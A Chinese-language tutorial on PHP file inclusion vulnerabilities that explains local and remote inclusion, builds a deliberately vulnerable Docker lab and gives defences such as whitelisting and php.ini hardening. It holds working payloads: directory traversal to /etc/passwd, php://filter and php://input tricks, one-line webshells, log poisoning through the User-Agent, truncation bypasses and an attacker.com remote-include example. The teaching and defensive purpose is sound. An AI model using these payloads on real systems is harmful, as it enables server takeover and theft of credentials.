文件包含漏洞深度解析:从原理到实战的攻防指南

📅 2026/7/12 8:12:27
文件包含漏洞深度解析:从原理到实战的攻防指南
1. 项目概述文件包含漏洞的“潘多拉魔盒”在Web应用开发的世界里追求代码的复用性和模块化是提升效率的关键。我们常常会写一些通用的函数库、配置文件或者模板然后在不同的页面里“包含”进来。这听起来是个好习惯对吧但就是这个看似无害的“包含”操作如果处理不当就会在应用的安全防线上撕开一道口子这就是我们今天要深入探讨的“文件包含漏洞”。它就像一个被开发人员无意中打开的“潘多拉魔盒”攻击者可以借此读取服务器上的敏感文件甚至执行任意代码最终完全控制你的服务器。简单来说文件包含漏洞的核心在于应用程序在动态包含文件时将用户可控的输入比如URL参数、表单数据直接或间接地作为了要包含的文件名或路径的一部分并且没有进行严格的过滤和校验。想象一下你家的门锁密码就写在门口的便签上任何人路过都能看到并开门进来。文件包含漏洞的逻辑与此类似它把本应只有开发者知道的“内部文件路径”这个秘密暴露给了所有访问者。这个漏洞的危害范围极广从个人博客到大型电商平台只要使用了动态文件包含机制且存在缺陷都可能中招。它不仅是渗透测试中的高频考点更是真实攻击中获取服务器权限的利器。接下来我们就从原理到实战彻底拆解这个漏洞让你不仅明白它为何危险更能掌握如何发现、利用以及从根本上防御它。2. 漏洞原理深度剖析失控的“文件调用”要理解文件包含漏洞我们必须先回到它的源头为什么需要“包含”文件这源于编程中的“Don‘t Repeat Yourself”原则。例如一个网站的头部导航栏、底部版权信息在每个页面都相同。聪明的做法是将其写在一个独立的header.php和footer.php文件里然后在每个页面通过include(‘header.php‘);来引入。这样修改导航栏只需改一个文件所有页面同步更新大大提升了维护效率。2.1 从功能到漏洞的蜕变问题就出在这个“包含”的动作上。在PHP中常见的包含函数有四个include()require()include_once()require_once()它们的区别主要在于处理包含失败时的行为include会发警告但继续执行require会报致命错误并停止以及是否重复包含。但它们的核心机制是一样的根据提供的路径参数找到并执行该文件中的代码。漏洞产生的典型代码如下// index.php $page $_GET[‘file‘]; // 直接从用户输入获取文件名 include($page . ‘.php‘); // 包含该文件这段代码的本意可能是用户访问index.php?fileabout程序就会包含about.php并显示“关于我们”页面。看起来逻辑清晰。然而攻击者的思维不会局限于此。如果用户传入的不是about而是../../../../etc/passwd呢拼接后变成include(‘../../../../etc/passwd.php‘);。虽然加了.php后缀但在某些条件下我们后面会讲攻击者依然可以操纵这个路径使其指向系统敏感的/etc/passwd文件。关键点在于开发者的预期是“用户只会传入我预设好的、安全的文件名”而攻击者的输入是“任何我能够构造的、指向目标文件的路径字符串”。当程序盲目信任了用户的输入时漏洞就产生了。2.2 本地包含与远程包含的本质区别文件包含漏洞主要分为两类它们的利用条件和危害程度有所不同1. 本地文件包含这是最常见的形式。攻击者只能包含服务器本身上存在的文件。即使如此危害也极大。利用场景包含服务器上的日志文件如/var/log/apache2/access.log、会话文件/tmp/sess_xxx、配置文件/etc/passwd,config.php甚至是通过文件上传漏洞传到服务器上的恶意脚本。核心危害敏感信息泄露、配合其他漏洞实现代码执行。2. 远程文件包含这是一种更危险的形态。攻击者可以包含远程服务器上的文件如http://attacker.com/shell.txt。前提条件PHP配置中的allow_url_include选项必须为On默认是Off。现代PHP版本为了安全已普遍默认关闭并强烈不建议开启。核心危害攻击者可以直接将包含目标指向自己控制的远程服务器上的恶意脚本实现“无接触”攻击无需事先在目标服务器上放置文件。注意在实战中RFI的利用条件较为苛刻因此LFI是更常见的攻击入口。但无论是LFI还是RFI其根本原理都是相通的用户输入控制了文件包含的路径。2.3 为什么被包含的代码会被执行这是很多初学者的疑惑我包含了一个.txt日志文件里面的文本怎么会变成PHP代码被执行 这涉及到PHP解释器的工作方式。include和require函数的行为是读取指定文件的内容然后将其中的代码插入到当前脚本的调用位置并由PHP解释器执行。关键在于PHP解释器并不关心文件扩展名是.php、.txt还是.log。它只关心文件内容。只要被包含的文件内容以?php ... ?标签包裹或者服务器配置允许短标签? ... ?其中的代码就会被执行。例如攻击者通过User-Agent注入一行PHP代码到访问日志中然后利用LFI包含这个日志文件其中的PHP代码就会被执行。这就是“日志文件污染”攻击。3. 漏洞利用手法全解从读取到getshell理解了原理我们进入实战环节。我会模拟一个存在漏洞的环境带你一步步走完攻击链条。假设我们有一个脆弱的页面vuln.php// vuln.php ?php $filename $_GET[‘page‘]; include(‘/templates/‘ . $filename); ?3.1 基础利用敏感文件读取这是最直接、最常用的利用方式。目标是读取服务器上包含敏感信息的文件。1. 系统关键文件读取Linux系统/etc/passwd查看系统用户列表。虽然密码已移至/etc/shadow但此文件仍能揭示用户名和shell环境。/etc/shadow存储用户密码哈希需root权限读取但有时配置错误可读。/proc/self/environ包含当前进程的环境变量可能泄露路径、密钥等信息。/var/log/apache2/access.log//var/log/nginx/access.logWeb访问日志可用于注入代码。Windows系统C:\Windows\system32\drivers\etc\hosts主机文件。C:\boot.ini旧系统系统启动配置。C:\xampp\apache\conf\httpd.confApache配置文件路径取决于安装位置。利用Payloadhttp://target.com/vuln.php?page../../../../etc/passwd这里使用../进行目录遍历跳出Web根目录如/var/www/html访问系统其他目录。2. 应用源码与配置文件读取获取Web应用本身的源码、数据库配置文件是攻击的关键跳板。config.php,database.php,settings.inc.php通常包含数据库用户名、密码、API密钥。index.php本身或其他业务逻辑文件通过代码审计寻找更多漏洞。利用Payloadhttp://target.com/vuln.php?page../config.php假设vuln.php在/var/www/html/admin/而config.php在/var/www/html/则需要一个../返回上级目录。实操心得目录遍历的层数../的数量需要猜测。可以通过错误信息判断Web根目录或使用Burp Suite的Intruder模块进行模糊测试尝试不同层数。一个常见技巧是先读取vuln.php自身的源码如page./vuln.php从路径提示中分析当前位置。3.2 进阶利用配合文件上传getshell如果仅能读取文件危害尚可控制。但文件包含漏洞最危险之处在于能与“文件上传漏洞”形成组合拳实现远程代码执行获取Webshell。攻击链发现文件上传点找到一个可以上传图片、附件的地方。上传恶意文件将一句话木马写入一个图片文件如shell.jpg内容为?php eval($_POST[‘cmd‘]);?。许多应用只检查文件头如GIF89a或MIME类型不检查文件内容因此可以绕过。定位文件路径通过应用回显、规律猜测或结合其他信息泄露漏洞确定上传文件的访问路径例如/uploads/2024/05/shell.jpg。利用包含漏洞执行通过LFI包含这个上传的图片文件。http://target.com/vuln.php?page../../../uploads/2024/05/shell.jpg连接Webshell使用中国蚁剑、哥斯拉等工具连接URLhttp://target.com/vuln.php?page../../../uploads/...并POST参数cmdsystem(‘whoami‘);即可执行系统命令。注意事项这种利用方式对包含函数的后缀拼接有要求。如果代码是include($page . ‘.php‘);那么我们的shell.jpg会被拼接成shell.jpg.php无法找到。此时就需要用到“截断”技巧。3.3 高阶利用巧用PHP伪协议PHP内置了一系列“伪协议”它们像一个个特殊的处理器可以访问不同的输入输出流。在文件包含的语境下它们成了攻击者的神兵利器。即使allow_url_include关闭大部分伪协议在allow_url_fopen开启时默认常开仍可使用。1. php://filter —— 读取源码的利器这是最常用的伪协议用于读取文件源码特别是当直接包含PHP文件时代码会被执行而看不到源代码。作用对本地文件进行读写过滤。利用Payload读取经过Base64编码的源码http://target.com/vuln.php?pagephp://filter/readconvert.base64-encode/resourceconfig.php服务器会返回config.php文件的Base64编码内容。攻击者解码后即可获得明文源码从中寻找数据库密码等敏感信息。为什么需要Base64编码直接包含config.php其中的?php ... ?代码会被执行浏览器看不到内容。通过filter协议先将其编码为纯文本就能安全地获取源码。2. php://input —— 执行任意代码的通道这是一个更强大的协议允许访问请求的原始数据即HTTP POST请求的body部分。前提条件allow_url_include必须为On。利用方式POST /vuln.php?pagephp://input HTTP/1.1 Host: target.com ... ?php system(‘id‘); ?当vuln.php包含php://input时实际上包含并执行了POST body中的PHP代码。这相当于一个直接的命令执行接口。3. data:// —— 另一种代码注入方式data协议可以直接在URL中嵌入数据。前提条件allow_url_include必须为On。利用Payloadhttp://target.com/vuln.php?pagedata://text/plain,?php phpinfo();? // 或使用Base64绕过特殊字符过滤 http://target.com/vuln.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8%2b4. zip:// 与 phar:// —— 压缩包内的攻击这两个协议可用于包含ZIP或PHAR压缩包中的文件。攻击者可以上传一个包含恶意脚本的ZIP文件然后利用协议包含其中的文件。利用Payload// 假设上传了 shell.zip其中包含 shell.php http://target.com/vuln.php?pagezip:///path/to/uploads/shell.zip%23shell.php // 注意# 号在URL中需要编码为 %233.4 绕过技巧应对开发者的防御有经验的开发者会做一些简单的防御但往往存在绕过方法。1. 后缀拼接绕过如果代码强制添加后缀如include($page . ‘.php‘);。%00截断PHP 5.3.4利用C语言中的空字符\0来截断字符串。Payload../../../shell.jpg%00。拼接后成为../../../shell.jpg%00.php在PHP旧版本中%00之后的.php会被忽略。此方法需magic_quotes_gpcoff。路径长度截断Windows/旧系统Windows API的MAX_PATH限制为260字符。当路径超长时后面的部分会被截断。可以构造../../../shell.jpg././././重复多次使其超长。利用协议使用php://filter等协议时其后可以跟?或#来忽略后续拼接。如pagephp://filter/resourceconfig.php%00或pagephp://filter/resourceconfig.php?。2. 关键词过滤绕过如果代码过滤了../、etc、passwd等关键词。双写绕过如果过滤是删除关键词可用....//过滤后变成../。编码绕过使用URL编码../-%2e%2e%2f、Unicode编码、Base64编码等。绝对路径替代直接使用绝对路径如/etc/passwd。4. 实战环境搭建与漏洞复现“纸上得来终觉浅绝知此事要躬行。” 要真正理解漏洞最好的方法就是亲手搭建一个存在漏洞的环境进行测试。请务必在本地虚拟机或授权的测试环境中进行切勿对任何未授权的系统进行测试4.1 环境准备我们使用 Docker 快速搭建一个包含漏洞的 PHP 环境这比配置完整的 PHPStudy 或 XAMPP 更干净、更可控。创建项目目录mkdir lfi-lab cd lfi-lab编写存在漏洞的PHP文件index.php?php // 模拟一个存在本地文件包含漏洞的页面 error_reporting(0); // 关闭错误显示模拟生产环境 $file $_GET[‘file‘]; if(isset($file)){ echo h3包含文件: . htmlspecialchars($file) . /h3hr; include($file); // 漏洞点未过滤直接包含 } else { echo h3请通过file参数指定要包含的文件/h3; highlight_file(__FILE__); } ?编写一个模拟的上传文件shell.jpg 在同一个目录下创建shell.jpg内容为GIF89a ?php echo ‘pre‘ . shell_exec($_GET[‘cmd‘]) . ‘/pre‘; ?GIF89a是GIF文件头用于绕过简单的文件类型检查创建DockerfileFROM php:7.4-apache RUN docker-php-ext-install mysqli docker-php-ext-enable mysqli RUN echo “allow_url_includeOn” /usr/local/etc/php/php.ini-production \ echo “allow_url_fopenOn” /usr/local/etc/php/php.ini-production COPY . /var/www/html/ RUN chmod -R 755 /var/www/html构建并运行容器docker build -t lfi-lab . docker run -d -p 8080:80 --name lfi-test lfi-lab现在访问http://localhost:8080/就能看到我们的漏洞页面了。4.2 漏洞复现步骤步骤1基础文件读取访问http://localhost:8080/index.php?file../../../../etc/passwd你应该能看到Linux系统的用户列表。这证明了目录遍历和本地文件包含是可行的。步骤2使用php://filter读取源码访问http://localhost:8080/index.php?filephp://filter/readconvert.base64-encode/resourceindex.php页面会显示一串Base64编码。复制下来在终端使用echo ‘编码内容‘ | base64 -d解码就能看到index.php的源代码确认漏洞点。步骤3配合文件上传执行代码我们假设shell.jpg已被上传到/var/www/html/uploads/在容器内它就在当前目录。访问http://localhost:8080/index.php?fileshell.jpgcmdid如果直接执行了id命令并返回结果恭喜你成功getshell这证明了包含非PHP文件时其中的PHP代码也会被执行。尝试其他命令如cmdls -la查看目录cmdpwd查看当前路径。步骤4日志文件包含攻击这是一个经典的二次攻击手法。首先我们需要知道Apache日志的路径通常是/var/log/apache2/access.log。访问http://localhost:8080/index.php?file../../../../var/log/apache2/access.log如果能看到日志内容说明可以包含日志文件。现在我们污染日志。使用Burp Suite或curl发送一个特殊的请求在User-Agent中注入PHP代码curl -A “?php system(\$_GET[‘c‘]); ?” http://localhost:8080/再次包含日志文件并添加参数执行命令http://localhost:8080/index.php?file../../../../var/log/apache2/access.logcid观察返回的日志页面如果其中包含了id命令的执行结果说明攻击成功。日志文件被包含时其中的?php ... ?标签被当作代码执行了。实操心得日志文件包含的成功率取决于日志文件的权限Web进程是否可读和日志的格式。有时需要多次注入因为日志是追加写入的包含的可能是旧的日志条目。另外如果日志文件过大包含可能会导致超时或内存耗尽。5. 漏洞挖掘与自动化工具使用在真实的渗透测试或安全评估中我们不可能手动测试每一个参数。自动化工具能极大提升效率。5.1 手动测试点识别首先需要人工识别可能存在文件包含的功能点URL参数?page,?file,?load,?path,?lang等。模板加载CMS系统中切换主题、模板的功能。语言切换?languageen_US这类参数。文件下载/查看?downloadreport.pdf尝试将其改为download../../etc/passwd。日志查看功能管理员功能中查看应用日志的地方。5.2 使用Burp Suite进行测试Burp Suite的Intruder和Scanner模块是利器。Intruder模糊测试拦截一个包含疑似文件包含参数的请求。发送到Intruder将参数值标记为Payload位置。在Payloads标签页加载一个包含常见路径遍历和敏感文件名的字典如SecLists项目中的Fuzzing/LFI列表。开始攻击观察响应长度和内容。与基准响应差异大的可能就是成功的包含。例如响应中包含“root:x:0:0”字样很可能就是读到了/etc/passwd。Active Scan Burp的主动扫描器内置了文件包含漏洞的检测规则。在目标范围配置好后启动扫描它会自动尝试各种Payload。5.3 专用工具FFUF、WFuzz对于目录遍历这些Fuzzing工具更高效。使用FFUF的例子ffuf -u “http://target.com/vuln.php?fileFUZZ“ -w /path/to/LFI-wordlist.txt -fs 0-fs 0表示过滤掉大小为0的响应通常是文件不存在的404页面有助于快速定位有效载荷。一个高效的LFI测试字典应包含路径遍历序列../../etc/passwd,....//....//....//etc/passwd,/etc/passwd,..\..\..\windows\win.iniWindows。协议包装php://filter/convert.base64-encode/resourceindex.php,data://text/plain,test。常见敏感路径不仅是/etc/passwd还有/proc/self/environ,/var/log/apache2/access.log,C:\Windows\System32\drivers\etc\hosts等。5.4 漏洞确认与利用链构建当工具或手动测试发现疑似漏洞后需要手动确认并评估其利用价值确认漏洞类型是LFI还是RFI尝试包含一个不存在的远程URL如http://your-server.com/test.txt看是否报错不同。评估限制是否有后缀拼接尝试file../../etc/passwd%00或file../../etc/passwd?.php进行绕过测试。寻找可利用的文件日志尝试包含Web服务器、SSH、FTP日志。Session文件PHP Session文件通常存储在/tmp或/var/lib/php/sessions文件名类似sess_[PHPSESSID]。如果你能获取或预测用户的Session ID就可以包含并污染它。上传文件检查网站是否有任何上传功能头像、附件。配置文件尝试包含config.php,.env,wp-config.php等。构建利用链如果只能读文件尝试从源码、配置中寻找数据库密码、API密钥或寻找其他漏洞如SQL注入的线索。如果能执行代码则直接部署Webshell。6. 防御方案从开发到运维的纵深防御修复文件包含漏洞需要开发、运维和安全团队共同努力建立一个纵深防御体系。6.1 开发层白名单与硬编码这是最根本、最有效的防御手段。1. 使用白名单机制绝对不要信任用户输入。如果包含的文件是有限的、已知的如“关于我们”、“联系我们”几个静态页面请使用白名单。// 安全的做法 $allowed_pages [‘about‘, ‘contact‘, ‘home‘]; $page $_GET[‘page‘]; if (in_array($page, $allowed_pages)) { include(‘./templates/‘ . $page . ‘.php‘); } else { include(‘./templates/error.php‘); // 或直接die(‘Invalid page‘); }2. 避免动态包含或严格限制路径如果业务上必须动态包含请将用户输入严格限制在某个安全目录内。// 相对安全的做法仍需结合其他检查 $base_dir ‘/var/www/html/templates/‘; $file $_GET[‘file‘]; // 规范化路径防止../跳转 $real_path realpath($base_dir . $file); // 检查规范化后的路径是否仍在安全目录内 if ($real_path strpos($real_path, $base_dir) 0 is_file($real_path)) { include($real_path); } else { die(‘Access denied.‘); }注意realpath()函数会解析符号链接需确保系统安全。3. 使用安全的文件操作函数考虑使用file_get_contents()读取静态文件内容然后输出而不是include执行。或者使用模板引擎如Twig、Smarty它们通常有更安全的包含机制。6.2 配置层限制PHP行为运维人员应确保PHP环境配置是安全的。关闭危险配置allow_url_include Off永远不要开启。这是防止RFI的最关键设置。allow_url_fopen Off如果业务不需要从远程URL打开文件建议关闭。这会影响php://input等部分伪协议但可能影响部分功能需评估。open_basedir将PHP可访问的文件限制在指定的目录树内。例如open_basedir /var/www/html:/tmp。这是一个重要的沙盒限制。disable_functions在php.ini中禁用危险函数如exec,system,passthru,shell_exec,proc_open等。即使攻击者包含了恶意文件也无法执行系统命令。设置正确的文件权限遵循最小权限原则。Web服务器进程如www-data, apache用户只应拥有对Web根目录及其子目录的读写权限对系统文件如/etc/,/var/log/只有只读或无权访问。敏感配置文件如config.php应放在Web根目录之外并通过../在代码中引用。6.3 架构与运维层纵深防御Web应用防火墙部署WAF配置规则拦截包含../,etc/passwd,php://等特征的恶意请求。定期更新与漏洞扫描保持PHP、Web服务器Apache/Nginx及所有应用框架/库的最新版本。使用SAST/DAST工具定期对代码和应用进行安全扫描。日志审计与监控集中管理并监控Web服务器日志、系统日志。对大量的../序列、php://协议请求建立告警规则。容器化与微隔离在容器化部署中每个应用运行在独立的容器内其文件系统与宿主机隔离天然限制了目录遍历的范围。7. 常见问题与排查技巧实录在实际渗透测试和代码审计中会遇到各种各样的情况。这里记录一些典型的“坑”和解决思路。Q1测试时包含/etc/passwd返回了“No such file or directory”但包含相对路径的文件却可以这是为什么A1这通常有几个原因绝对路径被过滤程序可能检测到路径以/开头就拒绝。尝试使用相对路径../../../../etc/passwd。目录深度不对../的数量不对没有跳出Web根目录。你需要猜测Web根目录与目标文件的相对深度。一个技巧是先包含一个已知存在的Web文件如图片然后慢慢增加../的层数。文件不存在或路径错误目标系统可能是Windows或者/etc/passwd被符号链接到了其他地方。尝试包含其他常见文件如/proc/self/environ或 Windows 下的C:\Windows\win.ini。Q2包含一个图片文件.jpg里面的PHP代码没有执行只是以文本形式显示出来了怎么办A2这说明服务器没有将该文件当作PHP解析。可能的原因和绕过方法后缀名被强制修改或检查服务器端如Nginx的配置或应用代码强制所有包含的文件都以.php结尾。尝试%00截断PHP旧版本或路径长度截断。文件内容被检查服务器可能检查文件内容是否包含PHP标签。可以尝试将PHP代码隐藏在图片的EXIF信息中使用exiftool工具或者使用php://filter的编码特性来间接执行。最重要的方法寻找日志文件、Session文件等服务器本身会生成、且你能注入代码的文件进行包含。这是LFI最经典的利用方式。Q3使用php://input或data://协议时总是失败没有任何回显。A3请按顺序检查确认allow_url_include设置创建一个phpinfo.php文件内容为?php phpinfo(); ?访问它搜索allow_url_include确认其值为On。检查请求方法php://input需要POST请求并且PHP代码要放在POST body中而不是URL参数里。务必使用Burp Suite或curl的-X POST –data选项。检查特殊字符data://协议中PHP代码里的特殊字符如?,可能需要URL编码或Base64编码。查看错误日志开启display_errors或查看服务器错误日志可能有限制或配置错误。Q4在真实的黑盒测试中如何高效地发现文件包含漏洞A4除了用工具Fuzz更要关注上下文信息错误信息尝试触发错误例如传入filenon_exist看错误信息是否泄露了绝对路径如Warning: include(/var/www/html/non_exist.php): failed to open stream。路径信息对后续的目录遍历至关重要。URL模式观察网站URL如/index.php?pageabout/download.php?filemanual.pdf。带有page,file,load,template,lang等参数的URL是重点测试对象。文件上传点找到任何可以上传文件的地方。即使上传有过滤也可能存在竞争条件、解析漏洞等让你上传一个可被包含的文件。框架与CMS识别网站使用的框架如Laravel, ThinkPHP或CMS如WordPress, Joomla。搜索该版本已知的文件包含漏洞或默认的不安全代码模式。文件包含漏洞是一个看似简单却内涵丰富的安全议题。它考验的不仅是攻击者的技巧更是开发者对“信任边界”的认知。修复它没有银弹需要从输入验证、路径处理、服务器配置到安全架构的多层把关。对于安全研究者而言理解其原理和利用链能帮助我们更好地进行威胁建模和代码审计。希望这篇近万字的拆解能成为你Web安全道路上的一块坚实垫脚石。在实战中保持好奇心多动手测试但永远恪守法律与道德的边界。